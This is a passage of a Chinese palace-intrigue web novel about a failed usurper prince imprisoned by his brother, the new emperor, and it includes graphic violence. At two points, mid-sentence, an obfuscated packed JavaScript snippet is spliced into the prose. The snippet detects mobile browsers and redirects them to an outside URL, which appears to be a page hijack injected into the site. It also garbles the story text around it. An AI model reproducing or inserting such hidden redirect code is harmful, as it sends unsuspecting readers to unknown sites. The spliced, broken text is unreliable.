《篡位失败的下场》 1. 报应不爽 如果非要问乐湛为什么会落得现在这番下场,他只能说,是报应。 假如当初没有嫉妒心作祟背后捅李修宜那一刀。 或者在得到“天命出三江”的谶言时没有丧心命狂地发动围城剿杀,又或者在李修宜率大军压境的时候不顽抗到底…… 总而言之就是,他要是在这其中任何一个步收住手,死相或许会比现在好看一点。 天方大亮,太阳光已经从云层的罅隙中间射出来,透过了疏疏密密的雨帘落在乐湛脸上,他有些不胜强光地眯起眼看向窗外。 雨未停,人未尽,血腥气愈渐浓烈,从前那些他费劲心思培养拉拢的党羽被一个一个清算干净,暴雨冲刷了昨夜厮杀后的血迹,算着也该轮到他了。 一门之隔外的脚步声逐渐杂沓起来,即便乐湛早已经做好了心理准备,此刻还是不受控制地颤抖了一下。 可门外久久没有传来动静,安静得只剩下滴漏声。 他起身走到大门跟前,试探地透过雕镂往院子里一看,下一瞬,一张目眦尽裂的脸突然趴上来,双目有如赤筋贯穿,鲜红得几乎往下滴血,“殿下!殿下救……” 不等他说完,一柄长剑已经横过他的脖子,寒光一闪,将经脉连同血肉一起割断,一串鲜血朝着乐湛脸上喷去,他下意识偏头躲了,鲜血被镂窗上的纱挡住大半,最后只有星星斑斑的血洒在他的脸上。 震惊过后,他再看向门外,那人的脖子断了大半,只有些许的皮肉还粘连在一起,毫无支撑的头瞬间向后仰去,直到后脑贴着后背,脸上还是维持着死前惊恐到无以复加的表情。 裸露的脖子好像被砍断的树桩一般切面整齐,正汩汩地往外冒鲜血,模糊的血肉里还能看见两三根筋孤苦伶仃地在空气里抽搐。 巨大的冲击让乐湛瞬间干呕出声,他腿软跪地,趴在地上不住地干呕。 死的那个人是自幼服侍他长大的内侍,在构陷李修宜一事上居功甚伟,乐湛也是因此非常器重他,独掌大权后甚至违背祖训封他为异姓王,借他的手肃清朝野,屏斥异己。 居然就这样死了…… 乐湛不由心惊,那他的下场又会好到那里去。 “哟,里边还有人呢?”门外的人夹臂擦干净剑上的血,利落收鞘,转过脸去问看守的宫人,“里头的这谁啊?” “里面关着的这是齐王李璟。”宫人想到什么又三缄其口,吞下了后面那句,“乃是当今圣上的亲弟弟。” “是吗?”他一听就来了兴趣,说着抬手挡过宫人,抬步就要推开门往里走。 宫人不便得罪他,但也不敢放他进去,“圣上下令将齐王关押至此,并未允许任何人探视,大人请回吧。” “你不说我不说,有谁知道我来过,要是问起来你就说是我硬要闯进去,陛下不会怪罪我的。” 眼见宫人还挡在跟前,宋邈一个肘击撞开人,不顾下人的阻拦踹开门,“就你是李璟?” 乐湛看了他一眼。 冷宫地处偏僻,天牢与章华台距离这里都很远,除非是故意把人赶到他跟前来杀,否则没有办法解释为什么那内侍能跑到这里来。 乐湛曾跟着李修宜去边郡待过几年,他深知李修宜麾下的军纪有多严,他不可能允许手下的人在宫里追逐砍杀,藐视宫规,但是在他面前却是没有忌讳,可见李修宜有多纵容此人。 “就是你当初连同反贼一起构陷陛下,逼着他在邙山上饮鸩自尽的?天道好轮回啊,当时没想到自己会有今日吧。” 乐湛撑着身,抬手擦了擦嘴角,听见这人话里话外竟然充斥着一股爱屋及乌的维护之意,心道这二人关系果然不一般。 “我在问你话,哑巴了?”宋邈拿脚尖拨了拨他。 不料乐湛骤然发难,握住他踢来的脚踝猛地抬高,张开虎口扼住脖子将人仰面摔在地上,宋邈都没反应过来背部已经砸在冰冷坚硬的地面上,传来尖锐的刺痛。 宋邈另一只脚作势要踹,乐湛已经拔出他手里的长剑直捅面门,宋邈竭力朝左边一躲,剑刃刚好擦过他的脸颊留下一点细小的红痕,血珠在下一瞬间溢出来。 一声“铮”地巨响在耳边乍起。 他惊魂未定地看着耳边插入地面的剑,倘若他躲得晚了一点只怕要被钉穿了脑袋。 乐湛撑着剑,踩在他的胸口上,冷幽幽地瞧着他,“别来招惹我,反正我是死定了,我不介意捎一个上路,要是不怕死的话可以来试试。” 宋邈摸了一下脸上的血痕,似是不可置信,“你敢动我?我爹是陛下新封的平阳侯,为夺回邺城立下了汗马功劳,你要是敢动我一根头发我一定要陛下赐你尝遍百种酷刑再凌迟处死!” 眼前这个人乐湛并不认识,但是他口里的平阳侯却有所耳闻,当日攻陷王城的主将之一。 “随你,反正是死,我还怕怎么死,”乐湛凑近了几分,认真道:“不过我得提醒你一句,李祯不是什么仁厚慈悲的善茬,最好把那点小心思藏住了,因为他非常非常恶心断袖,特别是你这样,”乐湛上下打量他一眼,嫌恶一笑,“土匪窝里爬出来的贱民。” “我没有过那种心思!少胡说八道!”宋邈奋力想要起身,但还是被乐湛一脚踩回去。 乐湛蹙了蹙眉尖,似乎不很理解少年脸上那点薄红,“没有便没有吧,我只是顺口一提,从前有小宫人私藏他与李祯的春宫画本,这事闹到了李祯跟前,他当时没说什么,只叫人烧了那污秽的东西,但是后来那小宫人忽然暴病横死了,”乐湛笑笑,“希望你对他来说是特别的那个。” 宋邈表情忽然怪异起来,语气生硬,“我没做过的事不需要你来提醒我。”不知出于心虚还是恼怒,挣扎起身将他推开,“来人!” 外头的宫人潮水一般涌进来将乐湛挟制起来,宋邈终于得以脱身,拔了插在地上的剑怒气冲冲转身要走,刚跨出门槛想起什么,回头看着乐湛,“这一剑之仇我来日一定奉还!” 乐湛被人压住脖子,在宋邈面前做出躬身顺从的样子,挣脱不开索性听之任之了,他垂着脑袋笑起来,“我等着。” 那扇大门再度阖上,宋邈本想进去教训他一下,结果差点被这疯子一剑了解,一股邪火发泄不出来在胸口乱冲乱撞,他猛地一脚踹在门上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171701|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫人惯会觑摸上意,知道面前这位是平阳侯独子,生在山莽之间,自由随性惯了,又是追随新帝从望平一路杀进邺城,这会儿父子俩圣眷正浓,宫人自然不敢得罪,只要做得不算过分,都由着他去了。 “公公,我跟你打听个事。” 宫人恭敬地垂着手,“大人您客气!有什么吩咐直说就是!” “里面这人跟陛下是一母所出吗?” “不是,齐王生母乃是狄人阙氏,未满月便已丧母,最开始先帝并不看重,是先皇后可怜他年幼失怙养在身边,齐王这才跟圣上一同长大。” 原来是狄人的种,也并没有比他出身高贵到那里去,也好意思嘲讽他出身低贱,宋邈心下暗暗得意。 宫人忍不住的感慨,“现在想想,在圣上还是太子的时候,底下十几个弟弟,却唯独最疼爱九王李璟,对这个弟弟可以说是予取予求,要星星不给月亮,别的不说,就说破城之时,所有反贼都被屠戮殆尽,却唯独留下了这异母所出的弟弟,不仅不压入天牢受刑,还把人单独关在殿里好吃好喝地伺候着,要换成别人只怕是早就死了百来次了。” 宋邈听得不痛快,他抬起下巴睨了一眼里头那人,“便是被至亲之人背叛才最痛恨,他犯的可是谋逆叛乱的罪行,邙山之乱多少人死在他的算计之下,就连我风崖寨也搭进去过好几条命,陛下才不是那种是非不分之人!” 宫人听出了他话里的不满,愣了一下,也顺着他的心意附和了两句。 这时候送餐食的宫人从身边掠过,宋邈余怒未消,大声喝止,“那是什么?拿过来给我看看!” 宫人觑摸了一眼管事公公的脸色,得到默许后,将餐食乘上给宋邈过目。 宋邈瞟了两眼,抬手扶住托盘的边沿,故意倾斜,让上面的碟子一个一个掉到地上摔了个稀烂。 “一个逆贼,暂且留他一条命已经是天大的恩赐,配得上这么好的吃食?” 宫人抱着空荡荡的红木托盘,无措地看向管事,管事公公摆了摆手示意他别不必理会,看着宋邈将地上夹杂着碎瓷片的残羹冷炙用脚拨到一起。 “把这个送进去让他吃,不吃就叫人往里面塞,划烂他的嘴,看他还敢跟我出言不逊。” 管事在这宫里待久了,历经三次宫变而不倒,因为他清楚的知道自己头顶只有一个主子,那就是皇帝,怎么可能听凭一个毛头小子在面前指手画脚。 他也不再端着恭敬谦和的样子,挺直了佝住的脊背,目视前方,“臣奉行的是圣命,大人要有什么意见可尽管与陛下提,得了陛下的命令臣立马照做。” 宋邈愤怒地双眼几乎喷火,“你也敢跟我作对?” 管事仍旧不为所动,“当日陛下只说将此人关起来,其他的,恕难从命.” 宋邈气得叉腰在原地踱了两步,正不知道这么发作,一转眼,透过月白的轻纱,他看见里面的人歪歪头,嘴角勾起一丝轻嘲,嫣红有如三月桃瓣的唇轻启,说了两个字,继而扬起嘴角,娇笑便如一朵艳丽淬毒的罂粟。 宋邈眯眼分辨了一会儿,才看清他说的是…… “蠢货。” 2. 戒尺 那人站在最黑暗的深处,身形被浓黑吞噬大半,反倒衬得肤色极白,一张薄脸藏在浅色泛着微卷的发丝后面,诡谲昳丽如绰绰鬼影一般,一双眼眸在黑暗里隐隐闪烁着星点的碧色。 细雨砸在窗框上化作丝丝缕缕的水雾笼在发丝上,染上了点朦胧湿意,像是在初春潮湿的雨雾里,从碧绿无垠的草原尽头钻出来的精怪,懵然又妖异地瞧着人看。 这张脸完完全全就是异族人的长相。 宋邈就算没在宫里待过,但也听说过当年北狄曾向元成帝进献过一个美人,元成帝知其居心不良,本不欲受,谁料那阙氏一露面直接将素来不好女色的元成帝迷得七荤八素,以至于连后来亲征也要带在身边。 百姓虽不曾见过那阙氏,却是口若悬河将人吹得天上有地下无,民间的舞姬乐坊也开始盛行外族装扮,而今他只用看一眼乐湛,便知其中几分真几分假,他这张脸想来是与他生母有七八分相像的。 只是有一件事令宋邈很是费解,当年李璟的生母活着的时候宠冠六宫,难道不是夺走了太子生母萧皇后的宠爱吗,后来狄人犯境,萧家更是半数功勋之臣为戍边战死,李修宜才应该是最恨李璟的人,哪来的兄友弟恭呢。 宋邈将心里那点不悦压下,他指了指跟他作对的管事,带几分愠怒的口气说,“好,你,你们,我记住了。” 话罢领着一大帮人拂袖而去。 管事依旧面不改色朝他行礼,“大人慢走。”末了对着几个宫人吩咐道,“还在这瞪着眼睛瞧我干什么?把这死了的人带下去处置了呀,这地上也扫扫干净,重新上一份餐食,都要我一个个地教是不是?” 底下的宫人应声答是,不敢耽搁,下去各干各的事去了。 门外的人走干净了,乐湛跟着卸了力,颤抖着手朝后边摸了摸,有些虚脱地扶着椅子坐下。 刚才用尽了身上最后一点力气才强撑着没有漏了怯。 都说新帝仁厚,只有乐湛自己知道,都是鬼话,李祯才是这个世上最记仇最苛责之人,谁要敢冒犯到他头上,必会被千百倍地讨回来,现在不杀他留他一条性命,不过是还没想到合他心意的死法。 而所谓顾念手足之情,更是荒谬得令人发笑,身处天家,连父子都能同室操戈,兄弟阋墙更是屡见不鲜,骨肉至亲又算什么?大家都是充斥权力争夺的生死场下被抹去了面孔的魑魅鬼怪,更何况是他这个毫无血缘关系,所谓名义上的弟弟。 乐湛到现在都还记得那个暴死的小宫人。 那年他也就十二三岁的年纪,皇帝对他不似对李修宜那样严苛,又或者是皇帝那么多儿子里面,他是最不被看重的那一个。 乐湛每次去找李修宜的时候他都在忙,永远忙于经史典籍和繁杂策论,乐湛只好去找他那些狐朋狗友,赏花逗鸟聊以消遣。 有时候甚至一整个月也见不着李修宜的影子,乐湛心里憋闷得紧,索性不回宫了,跑到李修宜的寝殿等他回来。 刚跨过殿门就在拐角处撞了个人,那宫人也吓了一跳,忙跪下认错。 乐湛没功夫搭理他,摆了摆手,“哥哥还在詹事府吗?有说什么时候回来吗?” 宫人刚要回话,怀里先掉出来了个小册子,纸页摊开,就这么摔在乐湛脚下,里面的东西明晃晃地暴露在青天白日之下。 宫人脑子里一根弦骤然崩裂,声音震耳欲聋,最后只剩下耳边的嗡嗡声,他直挺挺地愣在原地不敢动,连把东西收起来也忘了。 乐湛好奇地将那小册子捡起来。 春宫图什么的他不是没听说过,但是看见实物倒是第一次。 “你好大的胆子,居然敢在宫里私藏这种东西?” 宫人抖着声音重重地磕了一记,跌声求饶,“殿下饶过臣这一回吧!往后再不敢了!” 乐湛随手翻了翻,下一秒睁大了眼,这里头居然是两个男人! 他的认知在这一瞬间被革新了,原来不只是男人和女人可以交欢,男人跟男人之间居然也可以,可看着看着,好似发现了些端倪。 乐湛惊讶地有些失声,“里头画的是哥哥?你疯了……” 宫人跪伏着不敢抬脸,整张脸连同后脖子涨得通红。 乐湛瞧他可怜,“行了,别做出这副样子,我替你瞒下来不告诉哥哥,赶紧收好再别揣身上了。” 可奇怪的是,他明明都说要放过他了,那宫人的脸色还是一寸寸灰败下来,好像全部的生气都从那具身体里抽离了,两眼无神怔愣地看着他身后。 脚下的影子缓缓拉长,直到将他整个人笼罩,乐湛听见耳边一道温和沉稳的声音,“又打算瞒着我什么?” “哥哥!”乐湛吓得差点原地跳起来,转过身将手上的东西往背后藏,“你今日回来得这么早啊……” 正苦思想找点什么话糊弄过去。 “拿出来。”李修宜将他心虚的样子尽收眼底,见他还想狡辩,“三……” 甚至不用数到一,乐湛已经伸出手老实将册子交上去了。 宫人也彻底瘫坐在地,乐湛则垂着头,规规矩矩站着不敢说话,直到李修宜三两眼扫视完毕,将册子合上随手丢给了底下的人,“拿去烧了。” “这个人,”李修宜看了一眼宫人惨白不似人形的脸色,冷淡地挪开目光,“打发去掖庭。” 被拖走的人宛如行尸走肉,好像在那一刻就已经死掉了,乐湛也不知道自己哪来的心虚,见李修宜脸色似乎比平时冷肃一些,想说两句话缓和缓和气氛。 他两条胳膊趴在桌案上,张开手掌挡住卷牍上的字,笑嘻嘻地开玩笑,“不过就是个春心萌发的小奴才而已,那么严肃干什么,我听说前朝也曾流行过男风,反正哥哥后院也没人,为什么不干脆把他收下,我看他长得也算清秀……” “李璟。”李修宜头一回不顾修养出言打断。 乐湛瞬间住嘴,禁不住浑身一抖。 他最害怕李修宜连名带姓地喊他,听到这两个字就觉得要大难临头,尽管李修宜从来不曾对他有过一丝疾言厉色,十几年下来,不知道什么时候这份畏惧已经刻进身体融入骨血,连他自己也不曾发觉。 “别再恶心我了。” 乐湛从来没有见过李修宜这副神色,兴许是一个人和颜悦色久了,脸上但凡流露出一点除去善意以外的情绪都显得尤为惹眼,那幽黑的眼里含着一块正在融化的冰,滴滴答答地渗着冷意。 自那天起,李修宜不但将那名犯了事的宫人逐出东宫,连带着乐湛也一起冷落了,从前他畅行无阻的太子寝宫也不让进了,本来就难见到哥哥的人,这下连影子也摸不到了,还是后来乐湛跑到母后宫中,好一番卖乖讨巧声泪俱下求了皇后出面,这才逼得李修宜不得不接受他的道歉。 直到后面乐湛逐渐忘了这事。 这天准备去给皇后请安,正在宫道上走着,就见到两个人抬着草席从身边走过,草席里掉出来一只手,乐湛瞟了一眼便没再看,可不知怎么的心念陡转,喝止了那两个人,揭开席子一看,里面全身青紫躺着的分明就是那个小宫人! 他是被毒死的。 乐湛连着几日心绪不宁,不知道哪里隔应着不舒服,找人打听了他家里人的住处,出了趟宫,跟他的家人说他在宫里差事当得不错,留下一笔钱就走了,那笔钱够一家人衣食无忧一辈子。 看 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李修宜从桌子后来绕一圈,缓步走到乐湛身前,“伸手。” 离得近了才看清他手里握着一柄戒尺,黑檀木在烛光下泛着幽幽的木质光泽,联想到被打手心的痛,乐湛下意识就握紧手心,有些哀求地抬脸瞧着李修宜,张口喊道,“哥……” 眼见李修宜又要倒数,乐湛赶紧视死如归地伸出手,还没打就已经把双眼闭得死死的,细瘦葱白的手在半空颤巍巍抖了好一会,举得手臂发酸都不见戒尺落下。 要放过他了吗? 乐湛试探地眼睛眯成一条缝,偷偷瞧了一眼,下一瞬戒尺就已经重重落下。 “啪”地一声脆响,身后的烛焰受惊狠狠战栗了一下。 乐湛霎时间两行眼泪就下来了,一串接着一串地砸在地上晕开,他眨了眨眼,看见手心上已经高高肿起,浮现出了戒尺那么宽的硬棱,连握拳都做不到,再碰一下就要破皮。 “知道错在哪吗?” 乐湛心里怨气喷涌,明明是他杀了人,自己哪一点有错!但是他根本不敢忤逆李修宜,还是含着泪,抽抽搭搭说,“知道。” 李修宜做出愿闻其详的模样。 乐湛苦思冥想想破了脑袋,他根本一点都不觉得自己有错,也根本答不上来。 泪水还在不停地往下坠,他只能虚握了手心一个劲地哭,哭地昏天黑地,哭得差点把自己气噎两眼一黑晕过去了。 李修宜有些无可奈何地丢了戒尺,拿过帕子给他擦脸上糊作一团的鼻涕眼泪,“教训你两句便哭成这样,往后谁还敢说你的不是。” 动手不成,他只好采用更温和的方式,将人抱在腿上温声细语地给他讲道理。 “你如果选择包庇,最开始就不要将人的私密揭开喊得人尽皆知,这是一错。如果决心要惩治他,后面就不要觉得于心不忍给他的家人送钱财,这又是一错,规矩是拿来约束下人的,不是一次又一次地破例,没闹到跟前也就罢了,一旦闹开便不可不罚,要是为谁开了个口子,有了这个先例,规矩成了空谈,宫人一个接一个地不当回事,宫中还叫什么样子。” 简而言之,对错不重要,重要的是规则和秩序。 李修宜从来不是什么慈悲为怀的仁主,相反的,他比任何人都更注重规矩体统,在那万人之上的位置有一道线划分着禁区,象征天子的威严。 而乐湛犯得就是其中最严重的一条。 天道好轮回。 乐湛按住绞痛的心口,咬牙缓了好一会,抬眼看向窗外灿烂的春光。 说得真是不错。 3. 捉奸 早朝过后,宋家父子俩在正阳门前候着,等着皇帝传见。 宋弘毅瞧见儿子这两天兴致不大高,问了一句,“这又是怎么了,又是谁惹我儿不高兴了。” 宋邈直视前方,冷漠道,“还不是因为有你这个老土匪,生了我这个小土匪,在这邺城里,从上到下没有一个人将我放在眼里,当着我的面也敢骂我出身下贱。” “谁骂的?”宋弘毅一拍大腿,登时就怒了,“谁敢骂我儿子?老子去削了他!” “李璟。” 宋弘毅登时就不怒了,“好了,这话我当没听见,下次不许再说了。” 就知道是这样…… 反正也没指望过他。 拜见皇帝的时候,宋邈故意肃着一张脸,将宫人教给他的规矩毫无错漏地照做一遍。 私下面圣不像朝拜,可以不用行繁复的大礼,但他还是固执地一拜后起身,再拜,直至附身至地,跟谁置气一般不肯起身。 宋弘毅这边已经行礼起身,见儿子还在身边跪着,一时站也不是跪也不是,在原地扎了个马步。 他干咳一声朝宋邈使眼色,急得汗都下来了,宋邈仍旧固执地非要行完一整套大礼,垂眼起身,“臣宋邈,拜见陛下。” 殿内光线昏沉,乌木的陈设泛着冷寂端庄的木质香气,紫鎏金香炉里点了香,龙涎香的烟气沿着雕镂缭缭地飘出来,那味道细闻却无,分明不甚浓烈,却无端有一种悠长厚重的韵调。 “少有见你这么规矩的时候,这是对朕心有不满了?”声音很是平淡,自带一种上善若水的温和清润。 “臣不敢。” “既然不敢,又为何进来便甩脸给朕看。” 语气是温和的语气,宋弘毅却觉得背后凉飕飕的,紧张地两边看看,斗胆道:“小儿粗鄙,从来没有到过邺城,兴许是有些水土不服了,殿前失仪还请陛下恕罪。” “不是的,”宋邈没有顺着父亲递上来的阶梯走下来,反而是夺回了话头,“陛下任臣为都指挥使,臣感激不尽,不敢心生不满,只是来了邺城之后总感觉和想象中的不一样,落差太大一时有些沮丧罢了。” “怎么个不一样法?说说看。” 李修宜愿闻其详的态度给了宋邈可以畅所直言的错觉,于是挺直了腰杆,“我以为在王城中都是如陛下这样亲厚随和的人,但是待了两天才知道不是这样的,在这里没有人瞧得起我,他们只看出身和家世,好像从望平出来的人便染上了什么污点似的,就连……就连陛下您也跟在望平的时候不一样了,我总觉得看着您跟隔了层雾似的,离得太远了。” 在他的设想中,李修宜该问是谁瞧不起他,得到李璟这个答案,想起来自己漏了这么一号人,然后以极刑将其处死,可头顶上回应他的只有沉默,沉默地叫人胆寒。 一种不可名状的不安压在心头,宋邈抬头觑了一眼,十二旒冕之下,那双眼含着似真似假的温和笑意,宋邈竟然有些劫后余生的庆幸,幸好他还是在笑着的,片刻又疑惑,他居然是笑着的? “那就走近了看看。” 宋邈闻言有些诧异地抬头,他听教规矩的宫人说过,陛座前面多少步是不能踏足的,不知怎么的他忽然想起乐湛的那句“希望你对他来说是特别的那一个。” 他是吗? 宋邈压抑不住的心慌手抖,他迈了几步,来到李修宜跟前,离得越近,手越是抖得厉害。 “现在看清楚了吗?” 宋邈停在了离他三两步的位置,从没有离得像现在这么近过,以至于整个人都飘到了云端,“看清楚了。” 不想下一秒一盆冷水兜头淋下来。 “既然看清楚了,就该明白什么是你该做的。” 宋邈骤然被扇了一巴掌似的,脸色一阵红一阵青,难看至极。 话没有说绝,但也摆明了告诉他,不是宋家有赫赫之功扶持了君主,而是君主有知遇之恩提携了宋家,为臣子者就该恪守身为臣子的本分,跑到君主面前耍脾气告小状,俨然是不够格的。 李修宜瞟了一眼他脸上细小的划痕,心中明镜一般,声音含了几分警告,“给你的东西就好好收着,别还回来了。” 宫中之事,不论大小,只要是李修宜想知道的,自然是事无巨细全部都会传进他的耳中,根本没有所谓的天知地知,很显然宋邈现在还没有认识到这一点。 “行了,下去吧。” 随着一声令下,宋邈的心也随之跌落谷底,走出上清宫的时候几乎是七魂六魄散了一半,连父亲在耳边的啰嗦也听不见了。 从李璟开始,就不停地有人提醒他的出身低贱,教他什么是本分。 他一直都知道邺城的贵人里没有几个人真正看得起他。 他们面上都对他言笑嫣嫣,故意聊起一些他没见过的东西,在他发懵地时候再笑着补上一句,“啊,抱歉,我不知道你没见过,真是失礼了。” 背后却捂着嘴不明意味地笑着。 这就是他们口里的礼仪体统,即便看不上他也不会当面表现出来,只会背着他嬉笑两句,问起来了便说,“什么?我们没有在说你呀,你想多了。” 就连生气想跟他们正大光明地打一架也没有理由,实在憋得慌。 他总不能把那些看不起他的人全杀了,再三权衡下,只得将怒火投向源头,只有那个人是最没有反抗之力,最适合用来泄愤的工具。 宋邈看向冷宫的方向,既然皇帝不想处置这个人,他自然有办法逼着皇帝不得不杀了他给全天下人一个交代。 * 元成二十八年,持续了三年的邙山之乱与宦官乱政终结,新帝登基,正式改年号景新。 丹陛之下,百官朝拜,山呼万岁。 朝臣皆提早斋戒三日,身着朝服,神色郑重凛然地侯着,永定门轰然开启,新帝身着黑金衮冕,万众簇拥下迈入雕栏玉砌的白玉天桥,朝臣紧随其后,沿着天桥两侧的阶梯循阶而上,到了历代皇帝祭天祈福所用的瑶台。 这瑶台乃是一匙子形状,三面环水,水流通过宫渠一直连通淮河。 水面幽深澄澈,被风吹起层层褶皱,倒映着朝臣宫人鱼贯而入的影子。 列位无一不是面色肃穆,循着站位默然而立,未敢有一丝错漏。 祭天仪式象征了社稷接下来一整年的运势,其中但凡有点疏漏导致祭奠不顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171703|196832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要被严惩的,更何况这还是新帝登基以来头一年的祭祀,其中重要程度不言而喻。 晨早,东平王府祖孙三代人一同入了宫,在入永定门前,东平王李执四下看看,转过脸问儿子,“锦玉这小子又跑到哪里去了?” “谁知道呢,小儿顽劣,随他去吧。”李诏远回父亲道。 李执也没当回事,李锦玉自幼在宫里长大,进了宫跟回了本家一样,总不过是溜到哪里去玩了,正反祭典不用他到场,也就没再多问,随即正色跟着朝臣一同走进永定门。 祭典如预定的进行,瑶台之上祭香缭缭腾升,新帝依次行奠玉帛,进俎礼,向五方上帝敬献祭品,而后在朝臣的三跪九叩中宣读祝文,焚烧祭品的余烬飘摇而上,直达天听。 最后在悠扬的奏乐与钟声里,新帝率百官再行拜礼,宣告仪式已毕。 可刚要离场,一转身就听见永定门内的钟声忽然停了,连带着奏乐的节奏也乱了,很快钟楼又传来一声极其尖锐刺耳的铮鸣,像是铜钟被什么剧烈的冲突撞倒,除了震耳欲聋的嗡嗡回响,就再没有任何声音。 即便只是奏乐的失误,放到祭典上来看也是天大的事。 百官面面相觑,回过脸看向瑶台上的皇帝。 李修宜神色如常,低头吩咐了两句。 很快奉命之人前去带了乐师回话,乐师摔了一跤腿软爬不起来,几乎是被侍卫拖到皇帝跟前回话。 乐师胆战心惊回禀,称钟楼底下两队禁军撞上争执,他多看了一眼,加上本就紧张,一失手就敲错了钟,反应过来之后更是直接跌了一跤,误将铜钟撞得震天响。 此话一出,四下皆惊。 禁军值守可是严格按照章程来的,怎么会有两队撞上的情况发生? 负责今日永定门到冷宫的指挥正是宋邈,他一番问询,出列回禀,“回陛下,是东平王孙李锦玉收买人冒充了冷宫的守卫,以至冷宫到钟楼一带的守卫错节开来,造成最终钟楼底下两队相撞之事。” 李执与李纨父子俩面色陡变,再也不复局外人的冷静,紧张地互看两眼,心中暗惊:“怎么会!” 由中常侍带路,沿着宫道往前走,皇帝一路冷寂沉默,朝臣也不敢做声,亦步亦趋跟着。 到了冷宫,这里已经集聚了些人,正是李锦玉的随从,几个人好似早就知道小命不保,通通面如土色地跪迎圣驾。 殿门紧闭,在李修宜的命令下,朱红雕镂大门霍然荡开。 出现在众人面前的却是两个衣衫不整,云雨纠缠的人影,乐湛被压在桌子上,视线透过李锦玉的肩膀,竟然看见李修宜就站在门前,皱眉冷眼看着媾和的二人。 霎时间乐湛脸上的颜色褪尽,只余震惊后的惨白,全身的血都冻住了。 李执父子一见这场面,顿时顾不上什么天皇贵胄的体面,当即两眼一黑被人搀着才没昏死过去。 这是在祭典啊!社稷大事!就连皇帝都要斋戒三日,以敬神祇,这二人居然敢在祭典当天白日喧淫! 李修宜脸色已经冰冷得吓人,他的目光直直地射向殿内的两个祸首。 “来人,”李修宜说,“将这两个混账给我拿下。” 4. 不要对直男做这种事 祭典开始之前,乐湛就注意到门外的看守在换了一岗后忽然消失不见了,也就是说整个冷宫里现在除了他一个人也没有。 但他并没有动什么逃跑的念头,他执掌了三年的政务,没有人比他更清楚宫禁有多森严,更何况新帝登基,只会比他当初还要严密百倍,出了冷宫,还有数不清的大小宫门,他才不会去做这种吃力不讨好的事。 正想着,在这时候门忽然开了,白光毫不留情地洒在他身上,将他现在这副丧家之犬的样子照的清清楚楚,乐湛心脏一阵狂跳,心想该来的迟早要来。 可那人只是靠在门框上一言不发,似乎是在欣赏他现在的惨状,满意地连声“啧啧”。 乐湛很快意识到来的人不是李修宜,心下竟轻松不少,迎着刺眼的阳光看过去,就见着李锦玉抱着臂,要笑不笑的,瞧热闹似的瞧他。 “瞧瞧,我们齐王殿下,怎么落得现在这个样子,反倒叫我有些于心不忍了。” 果然是虎落平阳被犬欺。 乐湛闭眼,懒于与他进行一些无意义的口舌之争,他只想平静地保留那点仅剩的体面。 李锦玉还在那边说风凉话,乐湛充耳不闻,他越是想看他暴怒失控的样子,乐湛便越是不叫他如愿。 他跟李锦玉的梁子还要追溯到很多年前,在年纪很小,小到什么都不懂的时候,他就已经很讨厌这个人了。 东平王跟太祖皇帝是至亲手足,先帝连带着这个侄子也当作亲儿子一般疼爱,甚至远远超过了对乐湛的关注,年幼的乐湛就这样站在一边看着父王对一个没有父子血缘的人关切爱护,却把他这个正儿八经的亲儿子撂在一边。 李锦玉自幼玲珑聪慧,宫里上到皇子娘娘,下到宫人奴才,没有不喜欢他的 乐湛也不知道李锦玉对他的恶意最开始出自于哪里,又或许是小孩子的恶意最没有来由。 李锦玉总是会当着乐湛的面,故意挂在先帝的脖子上撒娇喊“亚父”。 又或者看见乐湛与李修宜站在一起,特意拉走李修宜让乐湛落单。 直到后来年纪稍长,他们不再玩小孩子之间无关痛痒的孤立排挤的把戏,而是更过火的残杀陷害。 所谓不共戴天之仇,最开始也只是互看不顺眼罢了,谁也没想到这笔烂账会不断累加,直到不死不休的程度。 在乐湛大权独揽的这三年,他不是没有对李锦玉下过死手,然而东平王府势大,牵一发动全身,最终还是放过了他一条命,但是活着的罪没叫他少受。 也难怪现在要迫不及待跳出来冷嘲热讽。 也是乐湛从前种下的恶果,树敌太多就是这番下场,得势的时候都在旁边虎视眈眈地嗅着味,一旦落魄了,全都亮起獠牙恨不得扑上来将他啃食殆尽。 “众叛亲离的感觉不好受吧,”李锦玉绕着圈在他身边踱了两步,忽然弯腰凑近,咧嘴笑道,“想来应该是不好受的。” “当年害死表兄后那么费劲心思想把段太师揽入麾下,甚至还屈尊降贵地每日参拜,好不容易求着人接纳了你,可结果呢,表兄一回来段太师立刻弃暗投明,甚至就连高举先帝遗诏开正阳门的那个宫人都是你的人,人心所向都是表兄,你心里怎么能好受得起来呢,是吧?” 果然是自幼一起长大的人,李锦玉最清楚乐湛的痛处在什么地方,捅起刀子来才最顺手。 乐湛咬牙切齿,“滚。” 即便是他想要强撑着装作镇定,可紊乱的气息和胸口的起伏已经暴露了他,李锦玉看在眼里,不由心中得意更甚,“亏得表兄和萧皇后从前待你那么好,不知道白眼狼这种东西是养不熟的。” 乐湛微微侧头,怒视着他,“你算个什么东西,轮得到你来指摘我的不是,今日一过,想想怎么跟你表兄交代你擅闯禁地的事吧。” 碧蓝的眼眸里好像蓄着一汪世外遗迹的湖泊,澄澈得一眼能看到底。 李锦玉看着那双含着淡淡雾气的眼,居然头一回觉得,这双眼长在他身上有些可惜了,不过瞬间便已收束心神,说出口的话仍是嫌恶至极。 